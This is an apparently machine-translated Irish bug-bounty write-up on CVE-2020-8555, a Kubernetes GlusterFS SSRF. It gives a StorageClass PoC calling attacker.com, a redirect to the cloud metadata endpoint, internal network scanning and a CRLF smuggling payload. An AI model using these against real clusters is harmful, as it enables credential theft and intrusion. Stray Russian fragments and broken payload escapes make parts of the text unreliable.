Nuair nach mbaineann sé ach le leochaileachtaí Kubernetes ...

Nóta. aistrigh.: labhraíonn údair an ailt seo go mion faoin gcaoi ar éirigh leo an leochaileacht a fháil amach CVE-2020-8555 i gCubernetes. Cé nach raibh an chuma air go raibh sé an-chontúirteach ar dtús, i gcomhcheangal le fachtóirí eile d'éirigh lena chriticiúlacht a bheith uasta do roinnt soláthraithe néalríomhaireachta. Thug roinnt eagraíochtaí luach saothair fial do na speisialtóirí as a gcuid oibre.

Nuair nach mbaineann sé ach le leochaileachtaí Kubernetes ...

Cé muid

Beirt thaighdeoirí slándála Francacha sinn a d'aimsigh leochaileacht in Kubernetes. Is iad Brice Augras agus Christophe Hauquiert ár n-ainmneacha, ach ar go leor ardán Bug Bounty tugtar Reeverzax agus Hach orainn faoi seach:

Cad a tharla?

Is é an t-alt seo ár mbealach le roinnt conas a d’iompaigh gnáththionscadal taighde isteach gan choinne ar an eachtra is spreagúla i saol sealgairí fabhtanna (ar a laghad le tamall anois).

Mar is dócha go bhfuil a fhios agat, tá cúpla gnéithe suntasacha ag sealgairí fabhtanna:

  • cónaíonn siad ar pizza agus beoir;
  • oibríonn siad nuair a bhíonn gach duine eile ina chodladh.

Ní haon eisceacht sinn do na rialacha seo: de ghnáth buaileann muid le chéile ar an deireadh seachtaine agus caithimid oícheanta gan chodladh ag hackáil. Ach tháinig deireadh le ceann de na hoícheanta seo ar bhealach an-neamhghnách.

Ar dtús bhíomar chun bualadh le chéile chun rannpháirtíocht i CTF an chéad lá eile. Le linn comhrá faoi shlándáil Kubernetes i dtimpeallacht seirbhíse bainistithe, chuimhnigh muid ar an sean-smaoineamh SSRF (Brionnú Iarratas Taobh an Fhreastalaí) agus chinn chun iarracht a dhéanamh é a úsáid mar script ionsaí.

Ag 11 pm shuíomar síos chun ár gcuid taighde a dhéanamh agus chuaigh muid a chodladh go luath ar maidin, an-sásta leis na torthaí. Ba mar gheall ar an taighde seo a tháinig muid trasna ar chlár Bug Bounty MSRC agus tháinig muid ar shaothrú pribhléideach um ardú céime.

Chuaigh roinnt seachtainí/míonna thart, agus bhí ceann de na luach saothair is airde i stair Azure Cloud Bug Bounty mar thoradh ar ár dtoradh gan choinne - chomh maith leis an gceann a fuaireamar ó Kubernetes!

Bunaithe ar ár dtionscadal taighde, d'fhoilsigh Coiste Slándála Táirgí Kubernetes CVE-2020-8555.

Anois ba mhaith liom faisnéis a scaipeadh faoin leochaileacht a fuarthas a oiread agus is féidir. Tá súil againn go bhfuil meas agat ar an bhfáil agus na sonraí teicniúla a roinnt le baill eile den phobal infosec!

Mar sin seo ár scéal...

Comhthéacs

Chun an tuiscint is mó a bhaint as an méid a tharla, déanaimis féachaint ar dtús ar an gcaoi a n-oibríonn Kubernetes i dtimpeallacht néalbhainistithe.

Nuair a chuireann tú braisle Kubernetes ar an toirt i dtimpeallacht den sórt sin, is é an soláthraí néil de ghnáth atá freagrach as an gciseal bainistíochta:

Nuair nach mbaineann sé ach le leochaileachtaí Kubernetes ...
Tá an ciseal rialaithe suite ag imlíne an tsoláthraí scamall, agus na nóid Kubernetes suite ag imlíne an chustaiméara

Chun méideanna a leithdháileadh go dinimiciúil, úsáidtear meicníocht chun iad a sholáthar go dinimiciúil ó inneall stórála seachtrach agus iad a chur i gcomparáid le PVC (éileamh leanúnach toirte, i.e. iarratas ar thoirt).

Mar sin, tar éis don PVC a chruthú agus a cheangal leis an StorageClass sa bhraisle K8s, glacann bainisteoir an chiúbáin/rialtóra scamaill ar láimh tuilleadh gníomhartha chun an toirt a sholáthar (braitheann a ainm cruinn ar an scaoileadh). (Nóta. aistrigh.: Táimid tar éis níos mó a scríobh cheana féin faoi CCM ag baint úsáide as an sampla dá chur i bhfeidhm do cheann de na soláthraithe scamall anseo.)

Tá roinnt cineálacha soláthraithe a fhaigheann tacaíocht ó Kubernetes: tá an chuid is mó acu san áireamh i croí cheolfhoireann, agus tá cinn eile á mbainistiú ag soláthraithe breise a chuirtear i gcodáin sa bhraisle.

Inár dtaighde, dhíríomar ar an meicníocht inmheánach um sholáthar toirte, a léirítear thíos:

Nuair nach mbaineann sé ach le leochaileachtaí Kubernetes ...
Soláthar dinimiciúil toirteanna ag baint úsáide as an soláthraí ionsuite Kubernetes

I mbeagán focal, nuair a imscartar Kubernetes i dtimpeallacht bhainistithe, is é an soláthraí scamall atá freagrach as an mbainisteoir rialaitheora, ach fágann an t-iarratas cruthú toirte (uimhir 3 sa léaráid thuas) líonra inmheánach an tsoláthraí scamall. Agus seo nuair a éiríonn rudaí an-suimiúil!

Cás hacking

Sa chuid seo, míneoimid conas a bhaineamar leas as an sreabhadh oibre a luaitear thuas agus a bhfuaireamar rochtain ar acmhainní inmheánacha an tsoláthraí seirbhíse scamall. Taispeánfaidh sé duit freisin conas is féidir leat gníomhartha áirithe a dhéanamh, mar shampla dintiúir inmheánacha a fháil nó pribhléidí a ardú.

Chabhraigh ionramháil shimplí amháin (sa chás seo, Brionnú Iarratas Taobh Seirbhíse) le bogadh níos faide ná timpeallacht na gcliant isteach i gcnuasaigh de sholáthraithe seirbhíse éagsúla faoi K8anna bainistithe.

Inár dtaighde dhíríomar ar sholáthraí GlusterFS. In ainneoin go ndéantar cur síos ar an seicheamh breise gníomhartha sa chomhthéacs seo, tá Quobyte, StorageOS agus ScaleIO so-ghabhálach don leochaileacht chéanna.

Nuair nach mbaineann sé ach le leochaileachtaí Kubernetes ...
Mí-úsáid a bhaint as meicníocht dinimiciúil soláthair toirte

Le linn anailís ranga stórála GlusterFS i gcód foinse an chliaint Golang táimid faoi ​​dearagur ar an gcéad iarratas HTTP (3) a seoladh le linn cruthú toirte, go dtí deireadh an URL saincheaptha sa pharaiméadar resturl curtha leis /volumes.

Shocraigh muid fáil réidh leis an gcosán breise seo trí chur leis # isteach i bparaiméadar resturl. Seo é an chéad chumraíocht YAML a d'úsáid muid chun tástáil a dhéanamh le haghaidh leochaileacht leath-dall SSRF (is féidir leat tuilleadh a léamh faoi SSRF leath-dall nó leath-dall, mar shampla, anseo - thart. aistrigh.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Ansin úsáideamar an dénártha chun braisle Kubernetes a bhainistiú go cianda cubectl. De ghnáth, ligeann soláthraithe scamall (Azure, Google, AWS, etc.) duit dintiúir a fháil le húsáid sa bhfóntas seo.

A bhuí leis seo, bhí mé in ann mo chomhad “speisialta” a úsáid. Rinne Kube-controller-manager an t-iarratas HTTP a tháinig as:

kubectl create -f sc-poc.yaml

Nuair nach mbaineann sé ach le leochaileachtaí Kubernetes ...
An freagra ó thaobh an ionsaitheora de

Go gairid ina dhiaidh seo, bhíomar in ann freagra HTTP a fháil ón spriocfhreastalaí - trí na horduithe describe pvcget events sa chubectl. Agus go deimhin: tá an tiománaí réamhshocraithe Kubernetes seo ró-bhriathrach ina chuid teachtaireachtaí rabhaidh / earráide ...

Seo sampla le nasc chuig https://www.google.frsocraithe mar pharaiméadar resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Nuair nach mbaineann sé ach le leochaileachtaí Kubernetes ...

Sa chur chuige seo, bhíomar teoranta d'fhiosrúcháin mar POST HTTP agus níorbh fhéidir inneachar an chomhlachta freagartha a fháil dá mbeadh an cód tuairisceáin ann 201. Mar sin, shocraigh muid taighde breise a dhéanamh agus leathnaíodh an cás hacking seo le cur chuige nua.

Forás ár dtaighde

  • Cás Casta #1: Atreorú 302 a úsáid ó fhreastalaí seachtrach chun an modh HTTP a athrú chun bealach níos solúbtha a sholáthar chun sonraí inmheánacha a bhailiú.
  • Cás Casta #2: Scanadh LAN agus fionnachtain acmhainní inmheánacha a uathoibriú.
  • Cás casta #3: ag baint úsáide as HTTP CRLF + smuigleáil (“smuigléiriú iarratais”) chun iarratais HTTP oiriúnaithe a chruthú agus sonraí a bhaintear as logaí cube-rialaithe a aisghabháil.

Sonraíochtaí Teicniúla

  • Bhain an taighde úsáid as Azure Kubernetes Service (AKS) le leagan Kubernetes 1.12 i réigiún Thuaisceart na hEorpa.
  • Rinneadh na cásanna a gcuirtear síos orthu thuas a fhorghníomhú ar na heisiúintí is déanaí de Kubernetes, seachas an tríú cás, mar gheall ar bhí gá aige le Kubernetes tógtha le leagan Golang ≤ 1.12.
  • Freastalaí seachtrach an ionsaitheora - https://attacker.com.

Cás Casta #1: Iarratas HTTP POST a atreorú chuig GET agus sonraí íogaire a fháil

Feabhsaíodh an modh bunaidh le cumraíocht fhreastalaí an ionsaitheora chun filleadh 302 HTTP Retcodeiarratas POST a thiontú ina iarratas GET (céim 4 sa léaráid):

Nuair nach mbaineann sé ach le leochaileachtaí Kubernetes ...

An chéad iarratas (3) ag teacht ón gcliant GlusterFS (Bainisteoir Rialaithe), tá cineál POST aige. Trí na céimeanna seo a leanúint bhíomar in ann é a iompú ina GET:

  • Mar pharaiméadar resturl i StorageClass tá sé léirithe http://attacker.com/redirect.php.
  • Deireadhphointe https://attacker.com/redirect.php freagraíonn sé le cód stádais 302 HTTP leis an gCeanntásc Suímh seo a leanas: http://169.254.169.254. Is féidir gur acmhainn inmheánach ar bith eile é seo - sa chás seo, úsáidtear an nasc atreoraithe mar shampla amháin.
  • De réir réamhshocraithe leabharlann glan/http Déanann Golang an t-iarratas a atreorú agus athraíonn an POST go GET le cód stádais 302, agus iarrann HTTP GET chuig an sprioc-acmhainn dá bharr.

Chun an comhlacht freagartha HTTP a léamh ní mór duit a dhéanamh describe réad PVC:

kubectl describe pvc xxx

Seo sampla de fhreagra HTTP i bhformáid JSON a bhíomar in ann a fháil:

Nuair nach mbaineann sé ach le leochaileachtaí Kubernetes ...

Bhí teorainn le cumais na leochaileachta a fuarthas ag an am sin mar gheall ar na pointí seo a leanas:

  • Neamhábaltacht ceanntásca HTTP a chur isteach san iarratas amach.
  • Níféidir iarratas POST a dhéanamh le paraiméadair sa chorp (tá sé seo áisiúil an eochairluach a iarraidh ó ásc etcd atá ar siúl 2379 port má úsáidtear HTTP neamhchriptithe).
  • Neamhábaltacht ábhar comhlacht freagartha a aisghabháil nuair a bhí an cód stádais 200 agus nach raibh Cineál Ábhar JSON ag an bhfreagra.

Cás casta #2: An líonra áitiúil a scanadh

Baineadh úsáid ansin as an modh SSRF leath-dall seo chun líonra inmheánach an tsoláthraí néil a scanadh agus chun seirbhísí éisteachta éagsúla a vótáil (mar shampla Meiteashonraí, Kubelet, etc.) bunaithe ar na freagraí rialtóir cube.

Nuair nach mbaineann sé ach le leochaileachtaí Kubernetes ...

Ar dtús, socraíodh calafoirt éisteachta caighdeánach comhpháirteanna Kubernetes (8443, 10250, 10251, etc.), agus ansin bhí orainn an próiseas scanadh a uathoibriú.

Ag féachaint go bhfuil an modh seo chun acmhainní a scanadh an-sonrach agus nach bhfuil sé ag luí le scanóirí clasaiceacha agus uirlisí SSRF, shocraigh muid ár n-oibrithe féin a chruthú i script bash a uathoibríonn an próiseas iomlán.

Mar shampla, chun an raon 172.16.0.0/12 den líonra inmheánach a scanadh go tapa, seoladh 15 oibrí go comhthreomhar. Roghnaíodh an raon IP thuas mar shampla amháin agus d’fhéadfadh sé a bheith faoi réir athrú chuig raon IP do sholáthraí seirbhíse ar leith.

Chun seoladh IP amháin agus port amháin a scanadh, ní mór duit na rudaí seo a leanas a dhéanamh:

  • scrios an StorageClass seiceáilte deiridh;
  • bain an tÉileamh Toirte Seasmhach arna fhíorú roimhe seo;
  • na luachanna IP agus Port a athrú i sc.yaml;
  • cruthaigh StorageClass le IP agus port nua;
  • PVC nua a chruthú;
  • sliocht torthaí scanadh ag baint úsáide as cur síos do PVC.

Cás casta #3: instealladh CRLF + HTTP a smuigleáil i “seanleaganacha” de bhraisle Kubernetes

Más rud é chomh maith leis seo thairg an soláthraí seanleaganacha de bhraisle K8s do chliaint и thug sé rochtain dóibh ar logaí an rialaitheora-bainisteoir kube, d'éirigh an éifeacht níos suntasaí fós.

Tá sé i bhfad níos áisiúla go deimhin d'ionsaitheoir iarratais HTTP a athrú atá deartha chun freagra iomlán HTTP a fháil dá rogha féin.

Nuair nach mbaineann sé ach le leochaileachtaí Kubernetes ...

Chun an cás deireanach a chur i bhfeidhm, níor mhór na coinníollacha seo a leanas a chomhlíonadh:

  • Ní mór go mbeadh rochtain ag an úsáideoir ar logaí kube-controller-manager (mar, mar shampla, in Azure LogInsights).
  • Caithfidh braisle Kubernetes úsáid a bhaint as leagan de Golang níos ísle ná 1.12.

D'imscaramar timpeallacht áitiúil a shamhlaigh cumarsáid idir an cliant GlusterFS Go agus spriocfhreastalaí falsa (staonfaidh muid ón PoC a fhoilsiú faoi láthair).

Fuarthas leochaileacht, a dhéanann difear do leaganacha Golang níos ísle ná 1.12 agus a ligeann do hackers ionsaithe smuigleála HTTP/CRLF a dhéanamh.

Trí an SSRF leath-dall a thuairiscítear thuas a chomhcheangal вместе leis seo, bhíomar in ann iarratais a sheoladh chuig an rud a thaitin linn, lena n-áirítear ceanntásca a athsholáthar, modh HTTP, paraiméadair agus sonraí, a phróiseáil kube-controller-manaisteoir ansin.

Seo sampla de “bhaoite” oibre i bparaiméadar resturl StorageClass, a chuireann cás ionsaithe den chineál céanna i bhfeidhm:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Is earráid é an toradh freagra gan iarraidh, teachtaireacht faoi a bhfuil taifeadta i logaí an rialtóra. A bhuí leis an bhfocal atá cumasaithe de réir réamhshocraithe, sábháltar inneachar na teachtaireachta freagartha HTTP ann freisin.

Nuair nach mbaineann sé ach le leochaileachtaí Kubernetes ...

Ba é seo an “bhaoite” is éifeachtaí a bhí againn laistigh de chreat cruthúnais choincheapa.

Ag baint úsáide as an gcur chuige seo, bhíomar in ann roinnt de na hionsaithe seo a leanas a dhéanamh ar bhraislí de sholáthraithe k8anna bainistithe éagsúla: ardú pribhléid le dintiúir ar chásanna meiteashonraí, Máistir DoS trí (neamhchriptithe) iarratais HTTP ar chásanna máistir srld, etc.

Ina dhiaidh sin

I ráiteas oifigiúil Kubernetes maidir le leochaileacht an SSRF a fuaireamar amach, rinneadh rátáil air CVSS 6.3/10: CVSS:3.0/AV: N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Mura measaimid ach an leochaileacht a bhaineann le himlíne Kubernetes, an veicteoir sláine (veicteoir sláine) cháilíonn sé mar Ar bith.

Mar sin féin, nuair a dhéantar measúnú ar na hiarmhairtí féideartha i gcomhthéacs timpeallachta seirbhíse bainistithe (agus ba é seo an chuid is suimiúla dár dtaighde!) spreag muid an leochaileacht a athrangú ina rátáil. CVSS10/10 ríthábhachtach do go leor dáileoirí.

Anseo thíos tá faisnéis bhreise chun cabhrú leat ár mbreithnithe a thuiscint agus na tionchair fhéideartha i dtimpeallachtaí néil á measúnú agat:

Ionracas

  • Orduithe a rith go cianda ag baint úsáide as dintiúir inmheánacha faighte.
  • An cás thuas a atáirgeadh ag baint úsáide as an modh IDOR (Tagairt Oibiachta Díreach Neamhdhaingean) le hacmhainní eile atá le fáil ar an líonra áitiúil.

Rúndacht

  • Cineál ionsaí Gluaiseacht Cliathánach a bhuíochas do goid dintiúir scamall (mar shampla, API meiteashonraí).
  • Faisnéis a bhailiú tríd an líonra áitiúil a scanadh (an leagan SSH, leagan an fhreastalaí HTTP, ...) a chinneadh.
  • Bailigh faisnéis shamplach agus infreastruchtúir trí APInna inmheánacha ar nós an API meiteashonraí (http://169.254.169.254,…).
  • Sonraí custaiméirí a ghoid ag baint úsáide as dintiúir scamall.

Infhaighteacht

Gach leas a bhaint as cásanna a bhaineann le veicteoirí ionsaí ar ionracas, is féidir é a úsáid le haghaidh gníomhartha millteach agus mar thoradh ar chásanna máistir ó imlíne an chliaint (nó aon cheann eile) a bheith ar fáil.

Ós rud é go raibh muid i dtimpeallacht bhainistithe K8s agus an tionchar ar shláine á measúnú againn, is féidir linn go leor cásanna a shamhlú a d'fhéadfadh tionchar a bheith againn ar infhaighteacht. I measc na samplaí breise tá an bunachar sonraí srl a éilliú nó glao criticiúil a dhéanamh chuig Kubernetes API.

Amlíne

  • 6 Nollaig, 2019: Tuairiscíodh leochaileacht do MSRC Bug Bounty.
  • 3 Eanáir, 2020: Chuir tríú páirtí in iúl d’fhorbróirí Kubernetes go raibh muid ag obair ar shaincheist slándála. Agus d'iarr orthu SSRF a mheas mar leochaileacht inmheánach (i-lárnach). Chuireamar tuarascáil ghinearálta ar fáil ansin le sonraí teicniúla faoi fhoinse na faidhbe.
  • 15 Eanáir, 2020: Chuireamar tuarascálacha teicniúla agus ginearálta ar fáil d’fhorbróirí Kubernetes arna n-iarraidh (tríd an ardán HackerOne).
  • 15 Eanáir, 2020: Chuir forbróirí Kubernetes in iúl dúinn go meastar go bhfuil instealladh leath-dall SSRF + CRLF le haghaidh eisiúintí roimhe seo ina leochaileacht lárnach. Stopamar láithreach d'anailís a dhéanamh ar imlíne soláthraithe seirbhíse eile: bhí foireann K8s ag déileáil leis an mbunchúis anois.
  • 15 Eanáir, 2020: Luaíocht MSRC faighte trí HackerOne.
  • 16 Eanáir, 2020: D’aithin Kubernetes PSC (Coiste Slándála Táirgí) an leochaileacht agus d’iarr sé é a choinneáil faoi rún go dtí lár mhí an Mhárta mar gheall ar an líon mór íospartaigh a d’fhéadfadh a bheith ann.
  • 11 Feabhra, 2020: Luaíocht VRP Google faighte.
  • 4 Márta, 2020: Luaíocht Kubernetes faighte trí HackerOne.
  • 15 Márta, 2020: Nochtadh poiblí a bhí sceidealta ar dtús curtha siar mar gheall ar chás COVID-19.
  • 1 Meitheamh, 2020: Comhráiteas Kubernetes + Microsoft faoin leochaileacht.

TL; DR

  • Ólann muid beoir agus ithimid pizza :)
  • Fuaireamar amach leochaileacht in-lárnach in Kubernetes, cé nach raibh aon rún againn é sin a dhéanamh.
  • Rinneamar anailís bhreise ar bhraislí soláthraithe scamall éagsúla agus bhíomar in ann cur leis an damáiste a rinne an leochaileacht chun bónais uamhnach breise a fháil.
  • Gheobhaidh tú go leor sonraí teicniúla san Airteagal seo. Bheimis sásta iad a phlé leat (Twitter: @ReeverZax & @__hach_).
  • Tharla sé gur ghlac gach cineál foirmiúlachtaí agus tuairiscithe i bhfad níos faide ná mar a bhíothas ag súil leis.

tagairtí

PS ó aistritheoir

Léigh freisin ar ár mblag:

Foinse: will.com

Add a comment